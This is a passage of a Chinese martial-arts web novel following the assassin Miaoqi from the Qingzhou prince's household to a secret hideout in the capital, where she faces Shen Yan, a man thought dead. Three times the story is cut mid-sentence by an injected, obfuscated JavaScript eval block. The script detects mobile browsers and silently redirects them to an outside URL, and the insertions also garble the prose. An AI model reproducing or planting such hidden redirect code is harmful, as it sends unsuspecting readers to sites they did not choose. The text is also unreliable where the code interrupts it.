话落,亭中只闻得远处几只鸟鸣,裴皙久久一笑,依旧直视着渺七,却问:“崔渺,你这般肆无忌惮,当真觉得我不会记恨你吗?” 渺七抿起唇,神情有些许茫然。 裴皙对上那双眼,眸色微闪,随后别过目光不再言语。 静默迤久,渺七忽端起桌上的空药碗,用力摔至地上,清脆一声,引得裴皙诧然转头,却只见到她怒气冲冲离去的背影…… 14. 一四 亭中的动静引得应安与小苗儿也看将去,见渺七气冲冲朝外走来,应安丢下手中吹着的叶子,惊声道:“你做什么这般大火气?” 渺七不言,只目中无人走过二人。 “你又要到哪儿去?” “与你无关。” 应安气得牙疼,停下脚步任她去,然后回身看向六角亭下,正准备过去瞧瞧裴皙,小苗儿却再次拦住他,他回头问:“做什么又拦着我?” “他们吵架,你去做什么?” “自是要问个清楚,你不知谢——崔渺这人莽撞得很,还惯会气人,王爷要是教她气出个大碍怎好?” 小苗儿也远远看眼亭下,见裴皙还那般静坐着,到底松开了应安,但还是说:“真气出个大碍你又怎么帮,况且我觉得,兴许王爷也想静静。” 应安听着后半句,迈出的步子又撤回来,最后长长叹息声,坐回先前的位置,两手托腮,一副愁容满面的样子。 小苗儿见状道:“想不到你这样没心没肺,竟也会皱眉头。” 应安一向知道小苗儿比他还老成,故并不为她这口吻惊奇,只接过话说:“论没心没肺,谁能比得过崔渺?分明骗了我们所有人,却丝毫没有愧疚之心,王爷待她千般好,结果她竟还敢冲王爷大发脾气,真让人不懂,难道她没有心吗?” “唔。”小苗儿也若有所思,最后评价道,“我观崔渺姑娘是个顶直的人,直来直去,所以才教人生气罢,至于有没有心,想必人人的心都长得不一样。” 应安似懂非懂地想了儿,然后咕哝声:“小小年纪,说话倒一把年纪。” 小苗儿眯眼一笑,心倒很宽,接着去忙活,倒是应安坐在原处,远远望着凉亭下,皱眉叹息声。 也不知这回王爷会不会同她生气? …… 另一头,渺七离开药院便兀自闯来账房中。 临近发放月俸时,祝管事午后正来此间查账,见她莽莽撞撞闯来,摘下看账时用的镜片,皱眉呵斥:“不跟着王爷,怎又瞎跑来这儿?” 渺七一听他提裴皙,当下更气:“我要月钱。” “月——”祝管事气得不知说什么好,看了眼屏风方向后,才道,“算上你在灵应寺的那些时日,你才来也不足一月,要领月钱,等下月罢。” “我不要整月的工钱,我只要半月的。” “你倒会着急,回去,待我回头和云公公禀明此事再议。” “你结了月钱我现在便离开王府。” 祝管事闻言瞪眼看她,又要转头看屏风那侧,便听那后头传出一人的声音来。 “祝管事,下去罢。” “是。”祝管事立时将桌上账簿合上,告辞离开账房,走时还顺手将渺七推开的门掩上。 渺七盯着那座屏风,只见云霆缓步从屏风后绕出,拄着手杖,双眼之上仍覆着根布条,但依旧准确无误地停来她身前。 这是渺七继那日在马车上相见后第二次见此人,依旧是那副高深莫测的模样,浑身散发着对他人的不信任与提防。 此时云霆站定,蛇头杖杖尖轻触地面,声音如古井无波:“离开王府?你既是特意前来寻求王爷庇护,又为何着急离开?” 渺七怒气未减,皱眉答他:“与你无关。” 云霆安静了一瞬,并未因此动怒,而是滴水不漏地答她:“我身为王爷近侍,自当处理好王爷的一切事务,何况你还是王爷的远亲,如今要离开,我理应探明缘由,也好禀告王爷。” 与那时在马车上的口吻一致,显然他并未相信裴皙的亲戚说辞,但就算裴皙那日说渺七是太后亲生的这类荒唐语,云霆也不会在裴皙面前表示出半分怀疑来。 渺七闻言只是皱眉,心底越发烦躁,原本只是想来这里要走月钱,却不想碰上府上最难应付之人,索性不假思索地转身走人。 然还未走到门边,眼前天光便一暗,云霆的身影如魅影闪过,停至她身侧,用手中那根木杖将她拦在门前。 渺七眉头微拧,腰带剑当即抽出一寸,云霆似是听见摩擦声,杖尖横移,却非拦她拔剑,而是算准她拔剑后的轨迹,拦断后招。渺七继而足尖轻旋,如猫跃般绕向另一侧,云霆又紧随着斜挑杖峰,击向她的落点。 接连几招后,渺七依旧未能将剑拔出,并非是她无法击退一个只用木杖的人,她大可以拔剑相向,至少她能轻易使剑挽下云霆手中的木杖,但问题是渺七早已瞧出那并非只是一支寻常手杖,而是一柄手杖剑,她所做也只是为他拔下剑鞘。 渺七知晓,等他拔剑便是桩麻烦事,但她教他纠缠几招后还是没了耐性,当下不管不顾拔剑,意欲挑向云霆握手杖的手腕,云霆却在这时撤招后退。 “此地不宜动手,想必你也不想惊扰了王爷罢?” “那你为何拦我?” “为何?”云霆指节轻点手杖,“你以为青州王府是你想来便能来,想走便能走的地方吗?走可以,但你走前须如实告诉我你究竟是什么人,接近王爷究竟是何目的。” “这都与你无关。”渺七依旧不觉得这与云霆有关,只越发烦躁,“你若不想惊动裴皙,便放我离开,否则我必与你大闹。” 云霆迂久不动,直到渺七再次将剑挥响,他才一杖将门打开,道:“那便这么说定了,今后若你再接近王爷,云某必追究到底。” 他似乎决意放她走,渺七这才收剑。 出门来时,见祝管事还立在院中,脚步一顿,走去他面前伸出手。 祝管事倒吸口凉气,但见气氛怪异,只得掏出自己的腰包,取出其中最小的一块儿碎银给她:“拿去,这可不止抵你一月工钱。” 渺七正接,却又见他将手缩回几分,当他要反悔,直接去夺,祝管事这才一脸肉疼地将钱给她。渺七揣起碎银回了住处,随意收了收行囊,其后又在房中耽搁许久才出屋。 一扇明窗下,初荷正闲得在榻上打盹儿,几上一只黑猫酣卧。 某时,鸟儿振翅飞离院中,黑猫猝然惊醒,伸个懒腰跳窗而出,急蹿上树…… - 雨去夏晴,益都市井街心繁闹如旧,渺七在一众瓜果叫卖声中走来间油饼店前,踟蹰半晌,摸出才然得来的那块碎银要了几块饼,店家将饼包好,与余钱一并交给她。 此番来青州后,渺七还未到街头走动过,只因她知晓芙生与华湘会在暗处盯着她,而眼下她才收下饼和钱,就有一华服公子挡来面前。 只见华湘扮作一翩翩公子模样,着一袭蓝衣,手拿一柄折扇轻晃,人来人往间,笑眯眯凑至渺七耳边调笑:“渺七妹妹背着包袱是想去哪儿?” “我已领了月钱,现在便可离开。” 听她口吻不善,华湘挑眉:“我还以为你是不想赴约,要早逃一步。” “我知你们会盯着我。” “还算聪明,走罢,芙生见你出府,已去备马。” “我只要我的马。” “放心,她压根儿没卖它。” 渺七不言,与华湘一同出城去。 送亭外老柳下,芙生果真牵马相候,渺七许久不见她的马儿,上前摸摸它的鬃毛。白马垂着眼帘,好似没有精神,也不像是认出她,渺七便掰下块烙饼喂到它嘴边,它嗅了嗅,这才迟钝冲渺七哧口热气。 芙生也在一旁哧了声,却是冷声嘲笑。 渺七习以为常,只抬眼看了看煌煌的日头,再看去送亭内。 长亭底下小贩汇聚,与行路之人售卖果水干粮、雨伞笠帽等物,渺七便眨眨眼,问芙生:“我马上原有一顶笠帽去哪儿了?” “还提,你不觉得你那顶破帽子漏雨吗?” 此事不提还好,一提芙生便来气,在济南时若不是为了挟持她这匹蠢马,她怎会在路遇急雨时戴她那顶破笠帽,又怎会因看不清前路让她那匹蠢马狠甩进泥地里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348714|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,害她又冒雨追了许久的马,从她升入月院起她还从未像那日那般狼狈过。 “还我帽子。”语气在人听来似无理取闹。 芙生冷言警告:“休要惹事生非。” 从旁看戏的华湘这时收起折扇,敲了敲手心问:“二位妹妹要叙旧到几时?” 芙生不耐烦呼一口气:“你问她。” “不过是顶帽子,我买便是。”华湘说完朝送亭下去,再回来时将一顶笠帽与一包新杏都递到渺七面前,“拿着,上马。” 渺七接过笠帽,瞧了瞧纸包里的杏子。 “赔礼,前几日伤了渺七妹妹的手,实在过意不去。” 渺七挑走最大最黄的一颗,余下的全留在华湘手里,华湘低笑声,将油纸包随手塞到芙生手中,也上马去。 芙生:“……” 三人驭马离去,途中芙生策马在前,华湘行马在后,二人牢牢牵制着渺七,一直到夕阳落下,暮色逼人,芙生才在一河畔荒庙前勒马。 庙前老树生鸦,人马前来也不曾惊飞,三人下马入庙中察看,见是一座土地庙,神像残破,满地生尘。华湘皱眉退出,命芙生清扫干净,芙生亦无怨言,兀自拾一堆前人留下的稻草充扫帚。 在玄霄,便是杀手也讲究等第,月院之人可使星院之人,日院之人可使星月两院之人,这是规矩。 渺七看一眼芙生,也寻只破木桶到庙后取水,二人合力在天黑前打扫干净庙殿。 晦日将至,是夜夜幕无月,渺七躺在荒庙屋顶的窟窿下,眨眼望着天上明星。 本是宁静之夜,可渺七却觉得这夜像她在灵应寺遇到芙生那夜,有种难言的思绪萦绕在她心间。她想起裴皙曾说这是不安,而那时她只当这是心烦。 一想到裴皙,自然又想起今日他同她说的那话,不觉越发烦躁,故猛然起身朝屋外去。 芙生亦要起身,却教睡在一旁的华湘按住。 “做什么,你不怕她逃吗?”芙生问。 “她既答应了随我们走,又何需逃?” “她惯会骗人。” “这么说,你当真想让她回去?”华湘忽然意味不明地问。 芙生默然片时,随即说:“是。” “既如此,那日在巷中与她约定时,你怎不提醒我她惯会骗人?若她那时真是在骗我们,我们又如何将她带离王府?” 芙生无声捏紧手心:“我常受她骗,一时不长记性。” 华湘意味不明地应了声。 “我去找她。” “不必。”华湘忽而轻笑,道,“若我是她,也会烦恼至此。” 二人言尽,言下之意却已再明白不过。 本已离开玄霄,如今却又因那人的一句话,就要将她带回去,任谁都会烦恼至此的。 …… 庙殿之外,四野茫茫,天地间漆黑一片,似只剩下虫鸣与水声。 渺七踱步到水旁坐下,发着怔,不知为何忽地想起那支白玉小笛来,遂从怀中探出,咿咿唔唔地吹起来,吹上会儿,竟觉陶然,便提一口气接着吹。 庙内,华湘额角又猛跳几下,终于朝芙生命令:“去罢。” “……” 与此同时,青州王府内灯火通明。 因渺七未在飨饭时现身,众人理所当然地发觉她没了人影,寻至她的住处后,仅在桌上见到封书信。 信由裴皙亲启,只见他先是凝神蹙额一番,待翻过信纸,又倏尔发笑。笑过之后,终又敛容,坐至桌旁将其余人遣去屋外。 烛台之上,绛蜡仅剩一指高,灯芯却长,烛火因此摇曳高蹿。 裴皙坐看烛火,直坐到绛烛燃尽方才起身,牵门而出时,朝守在门外的应平吩咐道:“去找飞声,告知母后我不日后回京。” 应平迟疑一瞬。 “云公公那里,我去说便是。” 应平这才领命转身。 15. 一五 芙生出了荒庙,循着普天下最恶劣的乐声前去河边。 河面星光闪烁,她依稀辨清渺七吹笛的身影,走去她身后冷冷开口:“你不睡我们还要睡。” 笛声乍停,渺七在夜色中应声:“噢。” 但没有要起身的意思,两人这般缄默少时,芙生叫她声:“渺七。” “嗯?” “院首的笛子为何在你那儿?” “他给我的。”渺七说完想了想,转身递出笛子,好不大方地问,“你要吗?” “我要它做什么?院首……他究竟是怎么死的?” 夜色中什么也看不清,渺七只一口承认:“是我杀了他。” “开什么玩笑?” “不是玩笑,是他命我杀他。” 话音落下,一股劲风猛向河畔袭来,渺七起身,收笛拆招,芙生左掌相缠,右掌疾推至渺七肩头,渺七后退半步,问她:“为何打我?” “我很不爽。” “为何?” “废话少说。” 芙生招招进袭,内劲凶狠,渺七躲不得,只得摸黑同她打斗。 二人皆不使武器,只施展拳脚,如年幼初习武时一般,彼时芙生羸弱,虽长渺七一岁却常输给她,不过只要是谢离在场,芙生便像是有了使不完的气力,非将渺七打到无力还击不可。 芙生今日也想打倒渺七,可到底谢离不在,想到此处,她倏然停了手,坐去渺七先前坐着的树下,望着河中熠熠星辉,很久才轻嘲一声。 “你笑什么?”渺七坐到她边上问。 “我笑我自己。”芙生口吻难得一见的舒缓,“笑我不能像你一样没心没肺,一些事原是在我不知道的时候、不知道的地方发生,分明从始至终都与我无关,可我知晓后却还是要将它放在心上。”说罢又想到那夜渺七在英国公府提起包袱给她看的场景,忍不住道,“渺七,若是我,我下不了手。” “本就不是你。” “哼,我已入月院,他便是想要我来做这事也选不了我。” “……” “可是渺七……”芙生这般叫她,似喟叹,“可你若真是没心没肺,今夜又在这儿装什么腔呢?” “装腔?” “愁眉苦脸,装腔作势。” “你看得清我的脸?” “看不清也知道,让人生气。” 渺七伸手摸摸脸颊,说:“因为我总觉得生气,不过吹了吹笛子就不那么气。” “说得倒是感情充沛。”芙生又像往常那样冷嗤一声,接着问她,“那日交手之后,你是如何与那人交代的,又是如何骗过他的?” “我没有骗他,他认出我了。” “什么?”芙生不可置信地扭头,“所以你今日才提早离府吗?不对,若是这般,青州王府这两日不应这般安静。”她和华湘也不会那么轻易地藏身在青州府城内才是。 渺七默了默,而后说:“他只是认出我,然后什么也没做。” “……”芙生一时惊异,没有说话,许久后才不客气地吐出句,“还真是有病。” “你说谁?” “自然是说那位青州王,我瞧他是真拿自己当菩萨了。” “他本就有病。”渺七说完又顿了顿,而后蓦地说,“芙生,若是我能找到独眼,是不是还能治好他?” 芙生几乎觉得她听错来,但良久又轻嘲声:“原来你是为这事找他,我就知道,你的情义可真够匮乏。” “你的情义就很多吗?” “……” 二人复又沉默,不久,芙生起身道:“回去罢,再待下去,华赤乌该疑心我们了。” 日为赤乌,入日院者已是玄霄翘楚,在玄霄这样等级森严的地方,其余人应称他们为赤乌。 见芙生往回走,渺七也揣起小笛默默跟随。回到庙殿内,华湘果然笑问二人:“二位妹妹避着我叙旧吗?” “闲谈几句罢了,华赤乌若想同谈,今夜奉陪。” 听芙生搬出敬称,华湘觉得有趣,便说:“好啊,正好我一早便想问我们渺七妹妹,何以今日是偷溜出青州王府,难不成那位青州王也舍不得你走么?” 也? 渺七捕捉到她所用的字眼,有些费解,但还是不曾理会她,只安静躺回窟窿底下。 华湘只好又笑上声:“罢了,还是早些睡下,明日天一亮便启程,我可不想让青州王府的人追上,毕竟他那位老娘才刚端了千矶岛,对我们可是恨之入骨。” 眼下除了眼皮子底下这人,想必谁也不想招惹上那位。不过话又说回来,那位青州王还真是想让人招惹看看嘛…… 华湘不再说话,渺七却因她的话有了些动静。 原来,清剿玄霄的是崔太后。 她想到什么,竟主动问华湘:“你说‘他老娘’,他娘很老吗?” 华湘语噎一阵,笑说:“我可没这般说,你那位青州王才及冠之年,他娘能老到哪儿去?” 渺七没听出华湘语带调侃,较真道:“可你就是这般说的。” “住口!” “……” 渺七很给面子地住了口,此夜便再也无人开口。 - 七日后,三人骑马驶回官道旁的树林间,然后便见芙生臭了脸。 原本她们离开青州后应该快马赶回京城复命,毕竟她们已经出来太久,而如今日长夜短,加紧赶路七八日便有望返回京中,可谁知渺七因吃坏肚子尚未医好,在荒庙中睡上一夜后又呕吐几遭,瞧着惨兮兮,华湘只得带她先到沿途一农庄歇了一日。 等次日再行至官道上,竟遇达官出行,一行车马浩荡,单听车上摇铃声便知主人颇有身份。 当朝仪制有贱避贵之规矩,百姓遇官需回避,不得冲撞,芙生不欲再惹麻烦,遂改小道走了两日,绕行疾驰,然回官道之上时又遇那队人马挡在前方,而今日已是她们第二次回到官道上,却又遇上了同一批人马。 “不对。”芙生望着那队人马这般说。 华湘见此情况却还笑得出来,问她有何不对。 “时间不对,我们虽走了小道,但两次回来的时机都晚他们一步。”按理说,他们常速行进应当比她们晚些,除非他们是逢驿站便倒换马匹,并不歇息。芙生说完看看华湘,“要拿令牌吗?” 华湘笑意不减,阻拦道:“不要妄动,这位贵人出现得凑巧,先跟在后面看看。” “你是说……”芙生心头那个猜测清晰几分,毕竟是在青州地境内上官道的贵人。 “我可没说。” 华湘转头看看一脸事不关己模样的渺七,笑而不语。 这夜,三人在凤阳城内一间小客栈歇脚,吃饭时华湘久久未至,渺七便先提起筷子,芙生艴然瞪她,问道:“你就不能等会儿吗?” “我饿了。” “如今不比你在星院,与日院打交道,要有规矩。” “我已不是玄霄中人,不用再讲玄霄的规矩。”渺七又冒出那股固执劲儿来,说完便夹起一颗狮子头到碗里。 芙生不由得眉头紧皱:“我以为你答应我们,是已经做好回去的准备。” “不是,我只想让你交差。” 说得好生坦然,真挚得几乎像对待这颗狮子头。 芙生不愿承认,她险些又轻易相信了这话,片刻后,她再次板起脸孔道:“我用不上你这假惺惺的情义。” 可等渺七吃起肉来不再理她,她又莫名有些不爽,一些话正在嘴边打转,华湘便从外面回来,坐下后见渺七已经动筷,并未多言,只悠悠道:“看来那位贵人并非我们所想之人,不过出现得倒还真是凑巧。” “你已打探清楚?” “你是怀疑我?” “不敢。那明日城门一开我们就出城,赶在他们前头上官道。” “我们三个太显眼,还是等他们走后再出发,继续走小道,待到渡河之时,他们人多自会落在后面。” 芙生若有所思,末后有一丝犹疑:“可我们回去会更晚。” “反正已经晚了,也不差这几日,至少人已经跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357423|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们来了不是吗?”华湘说到这里,这才有意无意地叹了声,道,“吃罢,再不吃便只有饿着肚子睡了。” “……” 芙生看一眼某人,终究只是淡漠夹起饭菜。 又过几日,三人终于渡河赶至京畿。 归时已入夜,天幕一弯蛾眉月浅淡似无,三人凭微光行马驶过平野,星夜赶至城门前,华湘亮出玄铁令,朝城楼之上扬声道:“乌衣使办事。” 守卫遂开城门,接过令牌查检一番,随后放人进城。 皇城夜市将歇,灯火渐熄,马入城后不再疾行,缓慢穿行街巷,蹄声轻响。 经一桥头,见得一冷淘铺子还张着灯,渺七便驻马望向那儿,另外二人回头看她,一个翻起白眼,一个笑模悠悠跳下马,发话道:“吃点东西再去。” “华赤乌。” “不急这一时。” 华湘牵马到铺前,与店家要了三碗槐叶淘,三人便坐到河畔树下吃。 夏月蚊虫嗡鸣,渺七慢吞吞吃着,向二人问起她从入城时便有的困惑:“玄霄既遭朝廷清剿,为何行事还可以这般嚣张?” “你可以再大声点儿。”芙生冷冷开口。 “……” “真是小孩子。”华湘笑叹声,目光沿河望向上游,幽幽道,“权势之争又岂会是朝夕之事?” 渺七不再问,填饱肚子又随二人沿河而上。 三人最终行至一乐坊,将马存在此间。乐坊内人声喧阗,三人从主坊外小道绕进乐坊深院,院中有一浅水湖,湖畔蓄一簇湖石,而湖石之间有一狭道,由此钻入,行至中央便寻到密道入口。 芙生揭开洞口,跳下从前引路,渺七跟入。 密道中,芙生燃一根火折子,引火把烛远。起初密道甚狭,行出数百步后,一扇石门横档前路,芙生触动机关,门訇然打开,一间密室即刻映入眼帘。 密室四壁悬灯,置简易桌椅几榻,三人进来时看守之人正执笔立于桌前,闻声抬眼看来。 守者墨发如瀑,披在肩头,衣衫不整却显落拓不羁,抬眼之时眉眼间夹带着一丝不悦,但在看清来人后不悦便散去,反手搁置画笔,摘下抹额系起长发,走至桌前朝华湘垂首:“华赤乌。” 华湘笑吟吟开口:“许久不见随尘弟弟,竟这般巧,遇上你当值吗?” 随尘头垂得更低。 这时,忽听芙生清咳一声,而渺七也蓦然开口:“这是你画的?” 随尘回头看去,才见已有人绕到他身后观起他适才所作之画,而那画中女子双目斜飞手持软鞭,于秋叶间舞鞭。随尘当下面红耳赤抽一张白纸盖住那画,抬眼怒视渺七。 华湘走来,随手摸摸随尘的后脑,一面对渺七道:“走了。” 芙生继续引路,过了密室后的暗道更为曲折,若无过人记忆,行在其中早已不分东南西北。 行至尽头,又一扇暗门相拦,门旁一根麻绳低垂,芙生颇有节奏地牵引几下麻绳,其间似闻铃响,几声之后,门霍地打开。门后原是一博古架,此刻博古架旁金铃尤响。 开门者是一青年,于暗室中懒懒打着哈欠。 渺七见状,跟着打个哈欠,而那人竟又接着打一哈欠,朝她招呼:“你便是渺七?久仰。” 芙生翻个白眼,径自拉着渺七出屋。 屋外夜色沉沉,渺七依稀辨得此处是一处园林,而华湘在穿过洞门后止步,道:“渺七妹妹,今日便就此别过了,他日若有空记得来西院找我玩儿。” 分别之后,芙生又引渺七走过廊桥,穿几扇洞门,最后总算停在一处明晃晃的院落前。 “进去吧,里面有人在等你。” 渺七没问是谁人,因为问也不会有人答,她只转身朝院里去,芙生却忽地低声说:“不要意气用事。” 渺七侧头,芙生已转身离去,她便再度回身走进中庭。 院屋灯火通明,房门却紧闭,既无人值守,亦无人发话,渺七想了想,自行登上台阶推开房门。 明堂内,一死人赫然坐在梅花灯下。 16. 〇一 明堂内,一死人赫然坐在梅花灯下。 抑或说,一个死去又活来的人。 渺七在门边站定,目光越过空屋望向沈晏,面无波澜眨动下眼睛。 灯影之下,沈晏眼底噙笑望着她,一手轻抚几下怀中的小猴。小猴双眸烛照灯火,清澈又明亮,见人推门,好奇盯着渺七抓耳挠腮一番。 静默之际,沈晏将小猴放到手边的案几上,起身朝渺七走来,不待走近,右手便已伸出,似是要伸向渺七毛茸茸的脑袋上,渺七当下抬手挡开他,沈晏却顺势握住渺七左腕,目光打量起那只手上所裹的白布。 “松手。” 沈晏闻言反将指节捏得更紧,渺七右手便朝他挥去,沈晏本可以侧头避开,但这时偏偏一动不动挨她一拳,随后转回被打的脸,轻笑出声:“渺七,两年未见,怎还是这般可爱?” 渺七皱眉,她又要动手,沈晏终于缓缓松开五指,将手撤回几寸,笑容不变说:“我只是想看看你又受了什么伤。”说着,手引向一侧屏风,“知你要来,已备好饭菜等你。” “可我已经吃饱了。” “噢?吃的什么?”沈晏笑眯眯问。 “冷淘。” “……” 沈晏没想真问,不过眯眼之时忽听渺七问他,“你不是死了吗?” 两年前,穆冲受沈晏之托带他的遗言前来星院寻渺七,遗言简短,只称他虽死也不会忘她,愿他二人早日重逢。彼时渺七只当他死也不忘疯言疯语,不虞竟真有重逢之日。 她口吻平直,沈晏却似听见什么令人愉悦的话,笑意慢慢浮上来。 “我还以为你不会好奇。”他低头抱起那只跟来他脚边的小猴子,摸着小家伙脑袋说,“只是我为等你已饿了半日肚子,总不能让我站在门边与你说话。” 他说罢自行转身往屏风后去,渺七看着他背影,片刻后才跟进去。 屏风后,圆桌上置两副碗筷,沈晏坐到桌边,让小猴子坐去一旁的高凳之上,拿一颗桃放到它手里,后才提箸用餐。 渺七没有坐下,站在对面看那只小猴子,小猴捧着桃细细啃,不时还在一旁的方帕上擦拭手上的果汁,葡萄般的眼珠儿滴溜溜地转,很是乖巧,丝毫不像山中的野猴儿。 “它很像你。”沈晏忽又开口,然后伸出左手摸摸小猴子的头颅,一面笑意不减看向渺七的脑袋,接着说,“以往只是觉得眼睛和毛躁模样像,如今看来,连脑袋也很像。” 渺七面无表情看他,最后正色指出:“你摸了它没洗手就吃饭。” 话说得就好像她是天底下最讲究的人。 “……”沈晏皮笑肉不笑,听后毫不客气道,“它可比你爱干净。”说完似想不过,冷笑看渺七,“看来同青州王待了段时日后,人也讲究了不少,不知可否与我说说青州王府里的事?” “与你无关。” “那若是我命你说呢?” “以霄首的身份命令我吗?” “若你肯听,那便是。” “可我已不是玄霄中人。” “噢?你从何处听来?” 渺七绷唇,说:“韩教习告诉我的,还是说你们要出尔反尔。” 沈晏轻嘲声:“渺七,你真以为凭谢离空口白牙就能换你活命,脱离玄霄吗?” 渺七即刻心生不悦,冷声道:“我从未以为过什么,只有你们一直在以为。” 他们每人都有一番说辞,她早已不知谢离的死是为了什么,又与她何干,她从一开始就不懂,不懂为何谢离忽然命她杀他,不懂为何韩仲孝放她离开,甚至连她的死活也总在他人嘴皮子底下翻动。 见她动怒,沈晏放下手中筷子,却好像还是未将她的话放在心上,只以一副好似与她颇为熟稔的口吻道:“怎么还是这般爱生气?” 渺七不言,屋中沉寂许久,久到沈晏终于淡下笑意。 “渺七,我只是想让你知道,不单是谢离,还有我。”沈晏语调缓慢,“是我与谢离一同出面保你,否则,你早已同星院其他人一样死在岛上。” 说到此处,见渺七依旧一瞬不瞬,无动于衷,他嘴角终于抽搐下,随即又牵出抹扭曲的笑意,“否则,你又怎会有机会见到崔太后的好儿子呢?” 渺七闻言面上总算有了些表情,沈晏眸光愈发幽深,笑意不达眼底。 “渺七,倘你离了玄霄能安分些,如今谢老国公那处我替你摆平即是,从此你身也自由心也自由,可你偏要去寻那位青州王……你不该让我生气,渺七。” 渺七眉头蹙得更深,沈晏这时倏地从座上起身,越过圆桌绕到渺七身旁,又用适才摸小猴的手摸向渺七脑袋,渺七便又挥一掌劈开他手臂,他唯有站定在她身前,低头睨视着她。 渺七眨了眨眼,似乎觉得此景熟悉。 “在想什么?” “想到你现在很像一个人。” “谁这般荣幸,能让你想到?”沈晏眯觑着眼看她。 “云霆你可认得?”渺七冷不丁问。 若云霆还有眼睛,一定和沈晏的眼睛一样,因为云霆站在她面前时,即使没有双眼也足够居高临下,好像只是对着一只蝼蚁,而沈晏此刻正是像云霆那般居高临下地看她。 可沈晏听了这话后面色一黑:“渺七,你定要让我生气吗?” 竟说他像一个太监。 渺七没懂又有什么可生气的,沈晏终于叹息声,松开不知几时紧紧攥着的手心,侧身向桌边的小猴招了招手。 小猴即刻又跳到桌上,沿着桌边走来沈晏身侧,伸臂擎住他的手臂,沈晏再顺势一捞,让小猴子坐到肩头,再说:“夜已不早,东厢安排了住处,好生歇息,明日再谈。” 语气生硬,说罢转身离去,但走过屏风时脚步停顿须臾,只不过最终什么也没等到。 - 是夜,院中风起,渺七难得彻夜无眠,只在破晓时分昏昏睡上会儿。 待到天明,渺七听得院中密匝匝的脚步声,清醒过来。 胡乱清洗一番出屋,见是一群侍女提着热水陆续进院,为首的见她起来,笑着传话:“姑娘你醒了,公子说姑娘如今是讲究人,命我们备热水给姑娘沐浴。” “……” 渺七不听,抬脚就朝院外去,却在出门后见到穆冲坐在路旁景观石上。 穆冲见得她,也笑眯眯:“又见面了。” 渺七看他眼,觉得这副假兮兮的笑像是从沈晏那里得了真传。她不理他,又要朝前去,可才走出两步,穆冲就从石上跃下,拦到她身前。 “你最好老实呆在院里。” “我偏要走走。” “知道这是什么地方吗,就敢走走?” “我不知道,你敢和我说吗?” “……”穆冲笑意一顿,自觉被她挑衅,噎了一阵才说,“总之这不是你能闲逛的地方。” “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364640|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带我去昨日来时的密室。” “去那儿做什么,你该不会觉得你来了这儿,想出去便能出去罢?” 渺七听这话耳熟,便觉得他也像云霆。 “我不出去,我到那儿找人。”她说得老实。 “找谁?” “随尘。” 穆冲笑也不笑,狐疑问:“季随尘?你认得他?” 渺七不答。 穆冲兀自琢磨起来,渺七这时抬脚就要乱闯,他只得急急拦她,道:“走反了!” 他到底还是替渺七引起路,毕竟沈晏嘱咐他看好渺七时还嘱咐一句切莫惹恼她,如若她执意要走动,只要拦下她不闯去正院,在别院中走动走动倒也无妨。 二人一路走过楼馆轩榭,总算转进一处盆景园中,进园时园中一华发老者正佝偻着腰修剪盆景,穆冲径直走过他,到一间院屋前推门而入。 渺七跟进去,发现正是昨夜密道尽头的院屋。 屋中青年正原本打着哈欠,见人冒然闯入,不悦拉长面孔问:“今日不是你换值罢?”问罢,就见渺七也进屋来,遂挑眉问,“怎么是你,刚来就想出去吗?” 渺七点点头,穆冲愕然瞪她:“你休要得寸进尺,带你来找人已是让步。” “可我是想出去,只是你们不让我出去罢了。” “……”穆冲这才撇撇嘴,到一旁坐下说,“等着罢,到换值时季随尘就出来。” “你要找随尘?”青年闻言疑问声,一面翻开手边书册查看,连渺七不曾回答他也不在意,不会儿便见他从书册间抬起头,道,“前些时日老霄首查你,随尘说他不认得你。” 渺七依旧不语。 那青年便眼带猜疑地看穆冲,穆冲道:“看我做什么?要问也是问随尘,我可没能耐管他的事。” 青年只好耸耸肩,研墨提笔在书册上记上一笔,而渺七这时已然在屋中走动起来,刚走到那博古架下,穆冲便眼带提防挡到她面前,好像生怕她要闯密道。 “别乱打主意。” 渺七看看他,一语不发转身出屋,这回穆冲倒没跟上,只是鬼鬼祟祟在门内窥望,见渺七只是在院中一盆景下蹲着,便不着急跟出去,免得让人觉得他生怕看不住她似的。 盆景园中,渺七蹲在花篱前瞧两只蚂蚁,观虫时随手折下盆景上一根枝桠在草间拨弄,正专注,院外走来一男一女,她转头看上眼,均不认得,而那二人亦扫她一眼,随后无言走进屋中。 渺七猜测他二人是前来换值的,正在心下算时候,后腰忽遭人不轻不重地踹了脚,扭头看去,原是那修剪盆景的老翁。 渺七歪了歪头,一个猜测浮上心头,便起身将折下的盆景枝桠别到老翁腰间,那老翁因此气得直笑,一听这笑,渺七便了然叫他:“韩教习。” 老翁不吭声,埋下腰仔细修枝。 “你又在此等我吗?” 